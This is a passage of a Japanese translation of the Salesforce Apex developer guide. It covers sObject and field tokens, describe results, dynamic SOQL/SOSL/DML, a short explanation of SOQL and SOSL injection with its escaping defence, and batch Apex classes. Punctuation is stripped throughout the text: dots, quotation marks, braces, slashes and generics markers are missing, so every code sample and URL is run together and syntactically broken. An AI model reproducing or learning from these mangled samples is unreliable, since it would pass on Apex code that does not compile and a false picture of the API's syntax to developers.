Get the field describe result for the Name field on the Account objectSchemaDescribeFieldResult f = SchemasObjectTypeAccountfieldsName

Verify that the field token is the token for the Name field on an Account objectSystemassert(fgetSObjectField() == AccountName)

Get the field describe result from the token f = fgetSObjectField()getDescribe()

以下のアルゴリズムはApexスクリプト内で定義情報を使って作業可能な方法を示しています

1 組織内のsObject用のトークンのリストとマップを作成します Accessing All sObjects (ページ 138)参照 2 アクセスが必要なObjectを決定します3 sObject用の定義結果を作成します4 必要に応じてsObject用のフィールドトークンのマップを作成します Accessing All Field Describe Results for an

sObject (ページ 138)参照 5 アクセスが必要なスクリプトのフィールドのための定義結果を作成します

定義情報権限を理解する

Apexは通常システムモードで実行されますパッケージに含まれるすべてのクラスとトリガすなわち元々組織にあるものは動的に調べることのできるsObject上に制限を持っていませんこれは元々のスクリプトでは現在のユーザ権限に関わらず組織用のすべてのsObjectのマップを作成可能です

ダイナミック Apex Version 180 | Apex 定義情報について | 135

認定された Apex パートナーによって作成されたマージされたパッケージ内に含まれるForcecom AppExchangeからインストールされるダイナミックApexスクリプトは管理されたパッケージの外の sObject に対して制限されたアクセス権はありませんパートナーは管理されたパッケージの一部として含まれない標準sObjectへのアクセスを許可するためにパッケージ内でAPI Access値を設定可能ですパートナーは標準オブジェクトへのアクセスが要求可能な一方でカスタムオブジェクトは管理されたパッケージの一部として含まれず決してパッケージされたダイナミック Apex スクリプトによって参照されたりアクセスされたりできません

詳細はSalesforcecom オンラインヘルプの「パッケージの API とダイナミック Apex アクセスについて」を参照してください

sObjectトークンを使う

AccountとMyCustomObject__cなどのSObjectはトークンと定義結果情報にアクセスする特殊静的メソッドとメンバー変数を持った静的クラスとして機能します定義結果へのアクセスを得るためにコンパイルタイムにおいてsObjectとフィールド名を明示的に参照する必要があります

sObjectのトークンにアクセスするには以下のメソッドの1つを使ってください

bull AccountなどのsObjectタイプ上のsObjectTypeメンバー変数にアクセスしてくださいbull sObject定義結果sObject変数リストまたはマップ上のgetSObjectTypeメソッドを呼び出してください

SchemaSObjectTypeはsObjectトークン用のデータタイプです

以下の例ではAccount sObject用のトークンが返されます

SchemasObjectType t = AccountsObjectType

以下の例でもAccount sObject用のトークンが返されます

Account A = new Account() SchemasObjectType T = AgetSObjectType()

この例はsObjectまたはsObjectのリストが特定のタイプかどうか決定するために使われます

public class sObjectTest Create a generic sObject variable s SObject s =Databasequery(select id from account limit 1)

Verify if that sObject variable is an Account token SystemassertEquals(sgetSObjectType()AccountsObjectType)

一般的な sObjects のリストを作成 ListltsObjectgt l = new Account[]

Verify if the list of sObjects contains Account tokensSystemassertEquals(lgetSObjectType() AccountsObjectType)

いくつかの標準sObjectはsObjectTypeと呼ばれるフィールドを持っています例えばAssignmentRuleQueueSObjectおよびRecordTypeこれらのタイプのsObjectはトークンの取得に常にgetSObjectTypeメソッドを使いますプロパティを使う場合例えばRecordTypesObjectTypeフィールドが返されます

sObject定義結果を使う

sObjectの定義結果にアクセスするには以下のメソッドの1つを使ってください

bull sObjectトークン上のgetDescribeメソッドを呼び出してくださいbull sObjectの名前と一緒にスキーマsObjectType静的変数を使います例えばSchemasObjectTypeLead

ダイナミック Apex Version 180 | Apex 定義情報について | 136

SchemaDescribeSObjectResultはsObjectトークン用のデータタイプです

以下の例ではsObjectトークン上でgetDescribeを使います

SchemaDescribeSObjectResult D = AccountsObjectTypegetDescribe()

以下の例ではスキーマsObjectType静的メンバー変数を使います

SchemaDescribeSObjectResult D = SchemaSObjectTypeAccount

sObject定義結果に利用可能なメソッドについての詳細はsObject Describe Result Methods (ページ 245)を参照してください

フィールドトークンを使う

項目のトークンにアクセスするには以下のメソッドの1つを使ってください

bull sObject静的タイプの静的メンバー変数名例えばAccountNameにアクセスしてくださいbull 項目定義結果上のgetSObjectFieldメソッドを呼び出します

項目トークンはデータタイプSchemaSObjectFieldを使います

以下の例では項目トークンはAccountオブジェクトのAccountNumber項目用に返されます

SchemaSObjectField F = AccountAccountNumber

以下の例では項目トークンは項目定義結果から返されます

Get the describe result for the Name field on the Account object SchemaDescribeFieldResultf = SchemasObjectTypeAccountfieldsName

Verify that the field token is the token for the Name field on an Account objectSystemassert(fgetSObjectField() == AccountName)

Get the describe result from the token f = fgetSObjectField()getDescribe()

項目定義結果を使う

項目の定義結果にアクセスするには以下のメソッドの1つを使ってください

bull 項目トークン上のgetDescribeメソッドを呼び出してくださいbull sObjectトークンのfieldsメンバー変数に項目メンバー変数 NameBillingCityなど を使ってアクセスし

てください

項目定義結果はデータタイプSchemaDescribeFieldResultを使います

以下の例ではgetDescribeメソッドを使っています

SchemaDescribeFieldResult F = AccountAccountNumbergetDescribe()

この例では以下のfieldsメンバー変数メソッドを使います

SchemaDescribeFieldResult F = SchemaSObjectTypeAccountfieldsName

ダイナミック Apex Version 180 | Apex 定義情報について | 137

上記の例ではシステムは最終メンバー変数 (Name)がコンパイルタイムにおいて指定のsObjectに有効だと認証する特別解析を使いますパーサーがfieldsメンバー変数を見つけると後ろに戻ってsObject (Account)名を見つけfieldsメンバー変数に続く項目名が正当だと認証しますfieldsメンバー変数はこの方式で使われた時のみ機能します

1つのApexスクリプト内にたった10のfieldsメンバー変数ステートメントしか持つことができません

メモ 項目メンバー変数名またはgetMapメソッドのいづれかを使わずにfieldsメンバー変数を使うべきではありませんgetMapについての詳細はAccessing All Field Describe Results for an sObject (ページ138)を参照してください

項目定義結果に利用可能なメソッドについての詳細は「項目定義結果メソッド (ページ 249)」を参照してください

すべてのObjectにアクセスする

スキーマgetGlobalDescribeメソッドを使ってsObjectトークン 値 に対するすべてのsObject名 キー 間の関係を表すマップを返してください例

MapltString SchemaSObjectTypegt gd = SchemagetGlobalDescribe()

マップには以下の特徴があります

bull 権限に基づいて動的すなわち現在組織に利用可能なsObject上でランタイムで生成されますbull sObject名はケースインセンシティブですbull キーは必要に応じて名前空間を使いますbull キーはsObjectがカスタムオブジェクトかどうかを反映します

例えばマップを生成するコードブロックが名前空間N1にありまたsObjectもN1にある場合マップ内のキーはMyObject__cとして表されますしかしながらコードブロックが名前空間N1にありsObjectは名前空間N2にある場合キーはN2__MyObject__cです

さらに標準sObjectは名前空間プレフィックスを持っていません

sObject用のすべての項目定義結果にアクセスする

項目定義結果のgetMapメソッドを使ってsObject用のすべての項目名 キー と項目トークン 値 の間の関係を表すマップを返してください

以下の例では名前で項目にアクセスするのに使用可能なマップを生成します

MapltString SchemaSObjectFieldgt M = SchemaSObjectTypeAccountfieldsgetMap()

メモ このマップの値タイプは項目定義結果ではありません定義結果を使用するととても多くのシステムリソースを使いますそれは適切な項目を探すのに利用可能なトークンのマップです項目を決定したらその定義結果を作成してください

マップには以下の特徴があります

bull 動的でそのsObjectの項目上でランタイムにおいて作成されますbull すべての項目名はケースインセンシティブですbull キーは必要に応じて名前空間を使います

ダイナミック Apex Version 180 | Apex 定義情報について | 138

bull キーは項目がカスタムオブジェクトかどうかを反映します

例えばマップを生成するコードブロックが名前空間N1にありまた項目もN1にある場合マップ内のキーはMyField__cとして表されますしかしながらコードブロックが名前空間N1にあり項目は名前空間N2にある場合キーはN2__MyField__cです

さらに標準項目は名前空間プレフィックスを持っていません

sObject に関連するすべてのカテゴリのアクセス

describeDataCategoryGroupsおよび describeDataCategoryGroupStructuresメソッドを使用して特定のオブジェクトに関連するカテゴリを返します

1 選択したオブジェクトに関連するすべてのカテゴリグループを返します (describeDataCategoryGroups (ページ240) を参照)

2 返されたマップから詳細に検索するカテゴリグループ名と sObject 名を取得します ( SchemaDescribeDataCategoryGroupResult (ページ 240) を参照)

3 カテゴリグループおよび関連するオブジェクトを指定しこのオブジェクトに使用できるカテゴリを取得します ( describeDataCategoryGroupStructures (ページ 241) を参照)

describeDataCategoryGroupStructuresメソッドは指定したカテゴリグループのオブジェクトに使用できるカテゴリを返しますデータカテゴリの詳細はSalesforcecomオンラインヘルプの「データカテゴリとは」を参照してください

次の例ではdescribeDataCategoryGroupSampleメソッドは記事オブジェクトおよび質問オブジェクトに関連するすべてのカテゴリグループを返しますdescribeDataCategoryGroupStructuresメソッドはリージョンカテゴリグループの記事および質問に使用できるすべてのカテゴリを返します記事および質問に関する詳細はSalesforcecom オンラインヘルプ「記事の管理」「Answers の概要」を参照してください

次の例を使用するには下記の手順を実行する必要があります

bull Salesforce Knowledge を有効化するbull Answers 機能を有効化するbull リージョンというデータカテゴリグループを作成するbull リージョンを Answers で使用するデータカテゴリグループとして割り当てるbull リージョンデータカテゴリグループが Salesforce Knowledge に割り当てられていることを確認する

データカテゴリグループの作成についての詳細はSalesforcecomオンラインヘルプの「カテゴリグループの作成と変更」を参照してくださいAnswers の詳細はSalesforcecomオンラインヘルプの「回答の概要」を参照してください

public class DescribeDataCategoryGroupSample private void describeDataCategoryGroupSample()try Creating the list of sobjects to use for the describe call ListltStringgt objType= new ListltStringgt()

objTypeadd(KnowledgeArticleVersion) objTypeadd(Question)

Describe Call ListltSchemaDescribeDataCategoryGroupResultgt describeCategoryResult =SchemadescribeDataCategoryGroups(objType)

Using the results and retrieving the information for(SchemaDescribeDataCategoryGroupResultsingleResult describeCategoryResult) Getting the name of the categorysingleResultgetName()

Getting the name of label singleResultgetLabel()

ダイナミック Apex Version 180 | Apex 定義情報について | 139

Getting description singleResultgetDescription()

Getting the sobject singleResultgetSobject() catch(Exception e)

public class DescribeDataCategoryGroupStructures private voidgetDescribeDataCategoryGroupStructureResults() try Making the call to thedescribeDataCategoryGroups ListltStringgt objType = new ListltStringgt()objTypeadd(KnowledgeArticleVersion) objTypeadd(Question)ListltSchemaDescribeDataCategoryGroupResultgt describeCategoryResult =SchemadescribeDataCategoryGroups(objType)

Creating a list of pair objects to use as a parameter for the describe callListltDataCategoryGroupSobjectTypePairgt pairs = new ListltDataCategoryGroupSobjectTypePairgt()

Looping throught the first describe result to create the list of pairs for the seconddescribe call for(SchemaDescribeDataCategoryGroupResult singleResult describeCategoryResult) DataCategoryGroupSobjectTypePair p = newDataCategoryGroupSobjectTypePair() psetSobject(singleResultgetSobject())psetDataCategoryGroupName(singleResultgetName()) pairsadd(p)

describeDataCategoryGroupStructures() ListltSchemaDescribeDataCategoryGroupStructureResultgtresults = SchemadescribeDataCategoryGroupStructures(pairs false)

Getting data from the result for(SchemaDescribeDataCategoryGroupStructureResultsingleResult results) Get name of the associated Sobject singleResultgetSobject()

Get the name of the data category group singleResultgetName()

Get the name of the label singleResultgetLabel()

Get the description of the data category group singleResultgetDescription()

Get the top level categories DataCategory [] toplevelCategories =singleResultgetTopCategories()

Recursively get all the categories ListltDataCategorygt allCategories =getAllCategories(toplevelCategories) for(DataCategory category allCategories) Getthe name of the category categorygetName()

Get the label of the category categorygetName()

Get the list of sub categories in the category DataCategory [] childCategories =categorygetChildCategories() catch (Exception e)

private DataCategory[] getAllCategories(DataCategory [] categories) if(categoriesisEmpty())return new DataCategory[] else DataCategory category = categories[0] DataCategory[]temp = new DataCategory[]category categoriesremove(0)categoriesaddAll(categorygetChildCategories()) tempaddAll(getAllCategories(categories))return temp

動的 SOQL

動的ク SOQLはApexスクリプトを使ってランタイムにおいて SOQL 文字列の作成を参照します動的 SOQLによってさらに柔軟なアプリケーションの作成が可能になりますたとえばエンドユーザの入力をベースにした検索の作成または幅広い項目名を使ったレコードの更新が可能です

ダイナミック Apex Version 180 | 動的 SOQL | 140

ランタイムにおける動的 SOQLクエリの作成には次の方法の1つでデータベースqueryメソッドを使ってください

bull クエリが1つのレコードを返す時1つのsObjectが返します

sObject S = Databasequery(string_limit_1)

bull クエリが複数のレコードを返す時sObjectsのリストを返します

ListltsObjectgt L = Databasequery(string)

通常の割り当てステートメントと forループにおいてなどインライン SOQL クエリが使用可能な場合はいつでもデータベースqueryメソッドは利用可能です動的 SOQL クエリの処理とほぼ同様に結果は処理されます

動的 SOQL 結果は具体的な sObject として指定可能ですAccount または MyCustomObject__c などまたは一般的な sObject データ型として指定できますランタイムにおいてシステムはクエリのタイプが変数の宣言タイプとマッチしているか認証しますクエリが正しい sObject タイプを返さない場合はランタイムエラーが発生しますこれは一般的な sObject から具体的な sObject をキャストする必要がないことを意味します

動的 SOQLクエリは静的クエリと同じガバナー制限を持っていますガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

SOQL クエリ構文の詳細は『Forcecom Web Services API Developers Guide』のwwwsalesforcecomusdeveloperdocsapiindex_CSHhtmsforce_api_calls_soqlhtm を参照してください

SOQL インジェクション

SOQL インジェクションとはSOQL ステートメントをスクリプトに送ることによって意図していなかったユーザがアプリケーションにデータベースメソッドを実行することですこれはアプリケーションが動的 SOQLを構築するためのエンドユーザ入力に依存し入力を適切に処理しない場合はいつでもApexスクリプト内で発生可能です

SOQL注入を防ぐためにはescapeSingleQuotesメソッドを使ってくださいこのメソッドはエスケープキャラクター()を文字列内のユーザからパスされるすべてのシングルクォーテーションマークに追加しますメソッドはすべてのシングルクォーテーションマークがデータベースメソッドの代わりに文字列の囲みとして使われることを確実にします

動的 SOSL

動的 SOSLはApexスクリプトを使ってランタイムにおいてSOSL文字列の作成を参照します動的 SOSLによってさらに柔軟なアプリケーションの作成が可能になりますたとえばエンドユーザの入力をベースにした検索の作成または幅広い項目名を使ったレコードの更新が可能です

動的 SOSLクエリをランタイムにおいて作成するには検索queryメソッドを使ってください例

ListltList ltsObjectgtgt myQuery = searchquery(SOSL_search_string)

ダイナミック Apex Version 180 | 動的 SOSL | 141

以下の例ではシンプルSOSLクエリ文字列を実行しています

String searchquery=FINDEdgeIN ALL FIELDS RETURNING Account(idname)Contact LeadListltListltSObjectgtgtsearchList=searchquery(searchquery)

各リストが特定のsObjectタイプの検索結果を含む場合sObjectのリストに対する動的 SOSLステートメント評価結果リストは常に動的 SOSLクエリにて指定されたのと同じ順番で返されます上記の例よりAccountからの結果が最初次がContactでその次がLeadです

通常の割り当てステートメントとforループにおいてなどインラインSOSLクエリが使用可能な場合はいつでも検索queryメソッドは利用可能です静的SOSLクエリの処理とほぼ同様に結果は処理されます

SOSL クエリはApexクラスおよび特定ブロックでのみサポートされますトリガで SOSL を使用することはできません

動的 SOSLクエリは静的クエリと同じガバナー制限を持っていますガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

SOSLクエリ構文の詳細はForcecom Web Services API Developers Guide内のwwwsalesforcecomusdeveloperdocsapiindex_CSHhtmsforce_api_calls_soslhtmを参照してください

SOSL インジェクション

SOSL インジェクションとはSOSL ステートメントをスクリプトに送ることによって意図していなかったユーザがアプリケーションにデータベースメソッドを実行することですこれはアプリケーションが動的 SOSLを構築するためのエンドユーザ入力に依存し入力を適切に処理しない場合はいつでもApexスクリプト内で発生可能です

SOSL注入を防ぐためにはescapeSingleQuotesメソッドを使ってくださいこのメソッドはエスケープキャラクター()を文字列内のユーザからパスされるすべてのシングルクォーテーションマークに追加しますメソッドはすべてのシングルクォーテーションマークがデータベースメソッドの代わりに文字列の囲みとして使われることを確実にします

ダイナミック DML

ランタイムにおける定義情報の問い合わせとSOQLクエリの構築に加えて動的にsObjectを作成しそれをDMLを使ってデータベースに挿入可能です

指定されたタイプの新規sObjectを作成するにはsObjectトークン上でnewSObjectメソッドを使ってくださいトークンには具体的なsObjectタイプ Accountなど を与える必要がある点に注意してください例

Get a new account Account A = new Account() Get the token for the accountSchemasObjectType tokenA = AgetSObjectType() The following produces an error becausethe token is a generic sObject not an Account Account B = tokenAnewSObject() Thefollowing works because the token is cast back into an Account Account B =(Account)tokenAnewSObject()

sObjectトークンtokenAはAccountのトークンですが別にアクセスされるのでsObjectと考えられますnewSObjectメソッドを使うには具体的なsObjectタイプAccountに入れられる必要がありますキャストの詳細についてはクラスとキャスト (ページ 110)を参照してください

ダイナミック Apex Version 180 | ダイナミック DML | 142

newSObjectを使ってIDの指定も可能です例

SObject s = Databasequery(Select Id from account limit 1)[0]getSObjectType()newSObject([SELECT Id FROM Account LIMIT 1][0]id)

項目値を設定する取得する

Stringとして表現されるAPI名または項目のトークンのいづれかを使っている項目の値を設定または取得するためにオブジェクト上のgetとputメソッドを使ってください以下の例では項目AccountNumberのAPI名が使用されます

SObject s = [SELECT accountNumber FROM account LIMIT 1] Object o = sget(AccountNumber)sput(AccountNumber abc)

以下の例では代わりにAccountNumber項目のトークンを使います

SchemaDescribeFieldResult f = SchemasObjectTypeAccountfieldsAccountNumber Sobject s= Databasequery(SELECT AccountNumber FROM Account LIMIT 1) sput(fgetsObjectField()12345)

ObjectスカラデータタイプはsObject上の項目値を設定または取得するために総称データタイプとして使用可能ですこれはanyType項目タイプと同等ですObjectデータタイプはsObjectの総称的タイプとして使用可能なsObjectデータタイプとは違う点に注意してください

メモ 項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル)した Apex クラスにはランタイムエラーが発生します

外部キーを設定する取得する

ApexはAPIと同じ方法で名前 または外部ID による外部キーの投入をサポートします外部キーのスカラID値を設定または取得するにはgetまたはputメソッドを使ってください

外部キーに関連付けられたrecordを設定または取得するにはgetSObjectおよびputSObjectメソッドを使ってくださいこれらのメソッドはObjectではなくsObjectデータタイプで使用されなければならないことに注意してください例

SObject c = Databasequery(SELECT Id FirstName AccountId AccountName FROM Contact LIMIT1) SObject a = cgetSObject(Account)

子sObjectで作業中に親sObject値用の外部IDを指定する必要はありません親sObjectにIDを与えた場合はDML操作によって無視されますApexは外部キーが常に投入されたIDとともに親オブジェクトを返す関係SOQLクエリを通じて投入されると仮定していますIDがない場合は子オブジェクトとともに使ってください

例えばカスタムオブジェクトC1が子カスタムオブジェクトC2にリンクする外部キーc2__cを持っているとしますC1オブジェクトを作成し 値c2__rに割り当てられた 「xxx」と名づけられたC2レコードに関連付けたいとします親から子への関係を通じて投入されるので「xxx」レコードのIDは不要です例

insert new C1__c(name = x c2__r = new C2(name = xxx))

c2__rのIDに値を割り当てた場合それは無視されますIDがない場合それをレコードではなくオブジェクト (c2__c)に割り当ててください

ダイナミック Apex Version 180 | ダイナミック DML | 143

ダイナミックApexを使用して外部キーにアクセスすることもできます次の例はダイナミックApexを使用して親子関係のサブクエリから値を取得する方法について示しています

String queryString = SELECT Id Name (SELECT FirstName LastName from Contacts LIMIT 1)from Account SObject[] queryParentObject = Databasequery(queryString)

for (SObject parentRecord queryParentObject) Object ParentFieldValue =parentRecordget(Name) Prevent a null relationship from being accessed SObject[]childRecordsFromParent = parentRecordgetSObjects(Contacts) if (childRecordsFromParent= null) for (SObject childRecord childRecordsFromParent) Object ChildFieldValue1 =childRecordget(FirstName) Object ChildFieldValue2 = childRecordget(LastName)Systemdebug(Account Name + ParentFieldValue + Contact Name + ChildFieldValue1 + + ChildFieldValue2)

ダイナミック Apex Version 180 | ダイナミック DML | 144

第 8 章

Apex の一括処理

開発者はApexの一括処理を使用しForcecomプラットフォームで長時間にわたり実行される複雑なプロセスを構築できますたとえば特定

トピック

bull Apex の一括処理の使用 の日付を越えたレコードを検索してアーカイブに追加する夜間に実行bull Apex による共有管理について されるアーカイブソリューションを構築できますまたは毎晩すべて

の取引先と商談を探索しカスタム条件に基づき必要に応じて再割り当てをするデータの整理処理を構築できます

Apex の一括処理はインターフェースとして公開され開発者によって実行される必要があります一括処理ジョブはApex を使用して実行時に起動できます

キュー内または有効な一括処理ジョブを 5 件作成できますSalesforcecomの [スケジュール済みジョブ] を表示してまたはプログラムでForcecomWeb サービス API を使用して AsyncapexJob オブジェクトを問い合わせて現在のカウントを評価できます

警告 一括ジョブをトリガから開始する場合は細心の注意を払ってくださいトリガは 5 件を超える一括ジョブを追加しないようにする必要があります具体的にはAPIの一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

一括ジョブはApex スケジューラを使用して特定の時刻に実行されるようプログラム的にスケジュールしたりまたは Salesforcecom ユーザインターフェースを使用して [Apex をスケジュール] ページを使用してスケジュールすることもできます[Apex をスケジュール] の詳細はSalesforcecom オンラインヘルプの「Apex のスケジュール」を参照してください

Apex の一括インターフェースはApex による共有管理の再適用にも使用されます

一括ジョブの詳細は「Apexの一括処理の使用 (ページ 146)」を参照してください

Apex による共有管理についての詳細は「Apex による共有管理について (ページ 153)」を参照してください

Apex の一括処理の使用

Apexの一括処理を使用するにはSalesforcecom提供のインターフェースDatabaseBatchableを実装するApexクラスを記述しプログラムに基づいてクラスを開始する必要があります

Apex の一括ジョブの実行を監視または停止するには[設定] [監視] [Apex] [ジョブ] をクリックします詳細はSalesforcecom オンラインヘルプの「Apex ジョブキュー」を参照してください

DatabaseBatchableインターフェースの実装

DatabaseBatchableインターフェースには実装しなければならない 3 つのメソッドが含まれています

bull startメソッド

global (DatabaseQueryLocator | IterableltsObjectgt) start(DatabaseBatchableContext bc)

startメソッドはApexの一括処理ジョブの開始時に呼び出されます startメソッドはインターフェースメソッド executeに渡すレコードまたはオブジェクトを収集するために使用します このメソッドはDatabaseQueryLocator オブジェクトまたはジョブに渡されるレコードまたはオブジェクトを含む反復可能オブジェクトを返します

DatabaseQueryLocator オブジェクトは一括処理ジョブで使用するオブジェクトの範囲を作成する単純なクエリ (SELECT) を使用する場合に使用します QueryLocator オブジェクトを使用する場合SOQL クエリによって取得されるレコード合計数に対するガバナ制限は無視されます たとえばAccount オブジェクトのApex の一括処理ジョブは組織内のすべての取引先レコード (最大 5000 万件のレコード) の QueryLocator を返すことができますもう 1 つの例としては組織内のすべての取引先レコードの QueryLocator を返す Contactオブジェクトの共有再適用があります

反復可能オブジェクトは一括処理ジョブの複雑な範囲を作成する必要がある場合に使用します またリスト全体を反復する独自のカスタムプロセスを作成するために反復可能オブジェクトを使用することもできます

重要 反復可能オブジェクトを使用する場合SOQL クエリによって取得されるレコード合計数に対するガバナ制限はそのまま適用されます

bull executeメソッド

global void execute(DatabaseBatchableContext BC listltPgt)

executeメソッドはメソッドに渡されるレコードの各一括処理に対して呼び出されますデータのそれぞれの塊に必要な処理をすべて実行する場合にこのメソッドを使用します

このメソッドは次を取ります

- DatabaseBatchableContext オブジェクトへの参照- ListltsObjectgtなどの sObjects のリストまたはパラメータ化された型のリスト DatabaseQueryLocator

を使用する場合は返されたリストを使用する必要があります

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 146

bull finishメソッド

global void finish(DatabaseBatchableContext BC)

finishメソッドはすべてのバッチが処理された後にコールされます確認の電子メールの送信や処理完了後の操作を実行するのにこのメソッドを使用します

Apexの一括処理ジョブの各実行は個別のトランザクションと見なされますたとえば1000 件のレコードを含む Apex の一括処理ジョブがDatabaseexecuteBatchから任意の scopeパラメータを指定せずに実行されるとこのジョブはそれぞれ 200 件のレコードを含む 5 つのトランザクションと見なされます Apex のガバナ制限は各トランザクションでリセットされます最初のトランザクションが成功し2 番目が失敗した場合最初のトランザクションで行われたデータベースの更新はロールバックされません

DatabaseBatchableContext の使用

DatabaseBatchableインターフェースのすべてのメソッドは DatabaseBatchableContext オブジェクトへの参照を必要とします このオブジェクトは一括ジョブの進行状況を追跡するために使用します

次に DatabaseBatchableContext オブジェクトを含むインスタンスメソッドを示します

説明戻り値引数名前

この一括ジョブに関連するAsyncApexJobオブジェクトの ID を文字列として返します このメソッ

IDgetJobId

ドは一括処理ジョブのレコードの進行状況を追跡するために使用します

次の例ではDatabaseBatchableContext を使用して一括処理ジョブに関連する AsyncApexJob を問い合わせます

global void finish(DatabaseBatchableContext BC) DatabaseBatchableContext の一括処理ジョブを示す AsyncApexJob の ID を取得します AsyncApexJob オブジェクトを問い合わせて現在のジョブの情報を取得します AsyncApexJob a = [Select Id Status NumberOfErrors JobItemsProcessedTotalJobItems CreatedByEmail from AsyncApexJob where Id = BCgetJobId()] ジョブの完了を通知する電子メールを Apex ジョブの登録者に送信します MessagingSingleEmailMessage mail = newMessagingSingleEmailMessage() String[] toAddresses = new String[] aCreatedByEmailmailsetToAddresses(toAddresses) mailsetSubject(Apex Sharing Recalculation + aStatus)mailsetPlainTextBody (The batch Apex job processed + aTotalJobItems + batches with+ aNumberOfErrors + failures) MessagingsendEmail(new MessagingSingleEmailMessage[] mail )

DatabaseQueryLocator を使用した範囲の定義

startメソッドは一括処理ジョブまたは反復ジョブで使用するレコードを含む DatabaseQueryLocator オブジェクトを返すことができます

次に DatabaseQueryLocator の使用例を示します

global class SearchAndReplace implements DatabaseBatchableltsObjectgt

global final String Query global final String Entity global final String Field globalfinal String Value

global SearchAndReplace(String q String e String f String v)

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 147

Query=q Entity=e Field=fValue=v

global DatabaseQueryLocator start(DatabaseBatchableContext BC) returnDatabasegetQueryLocator(query)

global void execute(DatabaseBatchableContext BC ListltsObjectgt scope) for(sobject s scope) sput(FieldValue) update scope

global void finish(DatabaseBatchableContext BC)

Apex の一括処理の反復を使用した範囲の定義

startメソッドは一括処理ジョブまたは反復ジョブで使用するレコードを含む DatabaseQueryLocator オブジェクトを返すことができます 反復ジョブを使用して返された項目をより簡単に行うことができます

global class batchClass implements Databasebatchable global Iterablestart(DatabaseBatchableContext info) return new CustomAccountIterable() global voidexecute(DatabaseBatchableContext info ListltAccountgt scope) ListltAccountgt accsToUpdate =new ListltAccountgt() for(Account a scope) aname = true anumberOfEmployees = 70accsToUpdateadd(a) update accsToUpdate global void finish(DatabaseBatchableContextinfo)

DatabaseexecuteBatchメソッドの使用

DatabaseexecuteBatchメソッドを使用して一括処理ジョブをプログラムに基づいて開始できます

重要 DatabaseexecuteBatchを呼び出すとSalesforcecom ではスケジュールされた時間のキューにのみプロセスを追加します 実際の実行はサービスの使用可能状態に応じて遅れる場合があります

DatabaseexecuteBatchメソッドは次の2 つのパラメータを採用します

bull DatabaseBatchableを実装するクラスbull DatabaseexecuteBatchメソッドはオプションのパラメータ scopeを採用します このパラメータは

executeメソッドに渡す必要があるレコードの数を指定します この値は 0 より大きくする必要があります上限はありませんが非常に大きい値を使用すると他に制限される場合がありますこれは渡される各レコードに対し多数の処理がありガバナ制限に達する場合に使用します レコード数を制限することによってトランザクションあたりの処理が制限されます

DatabaseexecuteBatchメソッドはジョブの進捗状況の追跡に使用できる AsyncApexJob オブジェクトの IDを返します 例

ID batchprocessid = DatabaseexecuteBatch(reassign)

AsyncApexJob aaj = [SELECT Id Status JobItemsProcessed TotalJobItems NumberOfErrorsFROM AsyncApexJob WHERE ID = batchprocessid ]

AsyncApexJob オブジェクトについての詳細は『Forcecom Web Services API Developers Guide』のAsyncApexJobを参照してください

Apex の一括処理の例

次に DatabaseQueryLocator の使用例を示します

global class UpdateAccountFields implements DatabaseBatchableltsObjectgt global final StringQuery global final String Entity global final String Field global final String Value

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 148

global UpdateAccountFields(String q String e String f String v) Query=q Entity=eField=fValue=v

global DatabaseQueryLocator start(DatabaseBatchableContext BC) returnDatabasegetQueryLocator(query)

global void execute(DatabaseBatchableContext BC ListltsObjectgt scope) for(Sobject s scope)sput(FieldValue) update scope

global void finish(DatabaseBatchableContext BC)

次のコードを使用して上記のクラスを呼び出すことができます

id batchinstanceid = databaseexecuteBatch(new UpdateAccountFields(qefv) 5)

次のクラスはApex の一括処理を使用して特定のユーザが所有するすべての取引先を異なるユーザに割り当てることができます

global class OwnerReassignment implements DatabaseBatchableltsObjectgt String query Stringemail Id toUserId Id fromUserId

global databasequerylocator start(DatabaseBatchableContext BC) returnDatabasegetQueryLocator(query)

global void execute(DatabaseBatchableContext BC ListltsObjectgt scope) ListltAccountgt accns= new ListltAccountgt()

for(sObject s scope)Account a = (Account)s if(aOwnerid==fromUserId)aOwnerid=toUserId accnsadd(a)

update accns

global void finish(DatabaseBatchableContext BC) MessagingSingleEmailMessage mail = newMessagingSingleEmailMessage()

mailsetToAddresses(new String[] email) mailsetReplyTo(batchacmecom)mailsetSenderDisplayName(Batch Processing) mailsetSubject(Batch Process Completed)mailsetPlainTextBody(Batch Process has completed)

MessagingsendEmail(new MessagingSingleEmailMessage[] mail )

次のコードを使用して前述の例の OwnerReassignment クラスを実行できます

OwnerReassignment reassign = new OwnerReassignment() reassignquery=SELECT Id NameOwnerid FROM Account WHERE ownerid= + uid + reassignemail=adminacmecomreassignfromUserId = u reassigntoUserId = u2 ID batchprocessid =DatabaseexecuteBatch(reassign)

Apex の一括処理のコールアウトの使用

Apex の一括処理でコールアウトを使用するにはこのクラス定義で DatabaseAllowsCalloutsを使用する必要があります 例

global class SearchAndReplace implements DatabaseBatchableltsObjectgt DatabaseAllowsCallouts

コールアウトにはHTTP 要求および webServiceキーワードで定義されたメソッドが含まれています

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 149

Apex の一括処理の状況の使用

Apexの一括処理ジョブの各実行は個別のトランザクションと見なされますたとえば1000 件のレコードを含む Apex の一括処理ジョブが任意の scopeパラメータを指定せずに実行されるとこのジョブはそれぞれ200 件のレコードを含む 5 つのトランザクションと見なされます

クラス定義でDatabaseStatefulを指定するとこれらのトランザクションで状況を保持できます処理されているレコードをカウントまたは集計する場合に役立ちますたとえばジョブで商談レコードが処理されたとします executeでメソッドを定義し処理された商談数の合計を集計できます

DatabaseStatefulを指定しない場合インターフェースメソッドのすべてのメンバー変数が元の値に戻されます

次の例ではレコードが処理されるとカスタム項目 total__cを集計します

global class SummarizeAccountTotal implements DatabaseBatchableltsObjectgt DatabaseStateful

global final String Query global integer Summary

global SummarizeAccountTotal(String q)Query=q Summary = 0

global DatabaseQueryLocator start(DatabaseBatchableContext BC) returnDatabasegetQueryLocator(query)

global void execute(DatabaseBatchableContext BC ListltsObjectgt scope) for(sObject s scope)Summary = IntegervalueOf(sget(total__c))+Summary

global void finish(DatabaseBatchableContext BC)

また変数を指定してクラスの最初の状況にアクセスします この変数を使用してDatabaseBatchableメソッドのすべてのインスタンスと最初の状況を共有します 例

